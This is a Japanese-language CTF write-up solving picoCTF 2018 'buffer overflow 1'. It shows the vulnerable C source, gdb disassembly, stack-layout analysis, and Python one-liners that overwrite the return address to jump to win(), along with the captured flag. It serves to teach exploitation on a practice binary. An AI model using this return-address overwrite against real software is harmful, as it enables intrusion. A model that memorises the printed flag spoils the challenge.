picoCTF 2018: buffer overflow 1
問題
問題文
Okay now you're cooking! This time can you overflow the buffer and return to the flag function in this program? You can find it in /problems/buffer-overflow-1_1_8a16ff6a1b3cfb2e42c08d9090051a5d on the shell server. Source.
Hints
This time you're actually going to have to control that return address!
問題概要
解答例
指針
- buffer overflow
解説
与えられたソースコードは以下の通り.
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #include "asm.h" #define BUFSIZE 32 #define FLAGSIZE 64 void win() { char buf[FLAGSIZE]; FILE *f = fopen("flag.txt","r"); if (f == NULL) { printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n"); exit(0); } fgets(buf,FLAGSIZE,f); printf(buf); } void vuln(){ char buf[BUFSIZE]; gets(buf); printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address()); } int main(int argc, char **argv){ setvbuf(stdout, NULL, _IONBF, 0); gid_t gid = getegid(); setresgid(gid, gid, gid); puts("Please enter your string: "); vuln(); return 0; }
win() は flag.txt を読み込み表示する関数. main() からは呼ばれていない.
main() から呼ばれている vuln() は文字列の入力に gets() 関数を使っていて, 明らかに buffer overflow の脆弱性がある.
以下は vuln を逆アセンブルした結果である.
kira924age@pico-2018-shell-2:/problems/buffer-overflow-1_1_8a16ff6a1b3cfb2e42c08d9090051a5d$ gdb -q ./vuln Reading symbols from ./vuln...(no debugging symbols found)...done. (gdb) start Temporary breakpoint 1 at 0x804866b Starting program: /problems/buffer-overflow-1_1_8a16ff6a1b3cfb2e42c08d9090051a5d/vuln Temporary breakpoint 1, 0x0804866b in main () (gdb) set disassembly-flavor intel (gdb) disas vuln Dump of assembler code for function vuln: 0x0804862f <+0>: push ebp 0x08048630 <+1>: mov ebp,esp 0x08048632 <+3>: sub esp,0x28 0x08048635 <+6>: sub esp,0xc 0x08048638 <+9>: lea eax,[ebp-0x28] 0x0804863b <+12>: push eax 0x0804863c <+13>: call 0x8048430 <gets@plt> 0x08048641 <+18>: add esp,0x10 0x08048644 <+21>: call 0x80486c0 <get_return_address> 0x08048649 <+26>: sub esp,0x8 0x0804864c <+29>: push eax 0x0804864d <+30>: push 0x80487d4 0x08048652 <+35>: call 0x8048420 <printf@plt> 0x08048657 <+40>: add esp,0x10 0x0804865a <+43>: nop 0x0804865b <+44>: leave 0x0804865c <+45>: ret End of assembler dump.
Stack の状態を考えながら, 逆アセンブルコードを読んでいく.
0x0804862f <+0>: push ebp 0x08048630 <+1>: mov ebp,esp 0x08048632 <+3>: sub esp,0x28 0x08048635 <+6>: sub esp,0xc 0x08048638 <+9>: lea eax,[ebp-0x28] 0x0804863c <+13>: call 0x8048430 <gets@plt>
が実行されたときの Call Stack の状態は
(lower address) | ... | <- ESP | <0x0c bytes> | | ... | | ... | <- top of buf[] | <0x28 bytes> | | ... | | saved EBP | | return addr | (higher address)
となり, EAX に [ebp-0x28] の実効アドレスの値が格納される. その直後に gets() が呼ばれており, EAX が引数として使われるので, [ebp-0x28] の実効アドレスは vuln() 内の 変数 buf[] の先頭アドレスだと分かる.
[ebp-0x28] から [ebp-0x01] までの 0x28 Bytes と saved EBP の 4 bytes を足した 0x2c Bytes を A
で埋めて, その直後に任意のアドレス値を置くと return address が書き換わり, vuln() をから抜ける際に任意の address に飛ばすことができる. 今回は win() のアドレスに飛ばすようにすればいい.
win() のアドレスは以下のように objdump を使って求めた.
$ objdump -d vuln | grep win 080485cb <win>: 80485ed: 75 1a jne 8048609 <win+0x3e>
アドレス値が 080485cb と分かったので, 以下のようにして win() を実行させる.
Python3 では decode('utf-8') をして bytes型 を str に変換する必要があって若干面倒だった.
$ python2 -c "print 'A'*0x2c+'\xcb\x85\x04\x08'" | ./vuln Please enter your string: Okay, time to return... Fingers Crossed... Jumping to 0x80485cb picoCTF{addr3ss3s_ar3_3asy14941911}Segmentation fault (core dumped) $ python3 -c "print('A'*0x2c+(b'\xcb\x85\x04\x08').decode('utf-8'))" | ./vuln Please enter your string: Okay, time to return... Fingers Crossed... Jumping to 0x80485cb picoCTF{addr3ss3s_ar3_3asy14941911}Segmentation fault (core dumped)
flag: picoCTF{addr3ss3s_ar3_3asy14941911}
参考文献
- HACKING:美しき策謀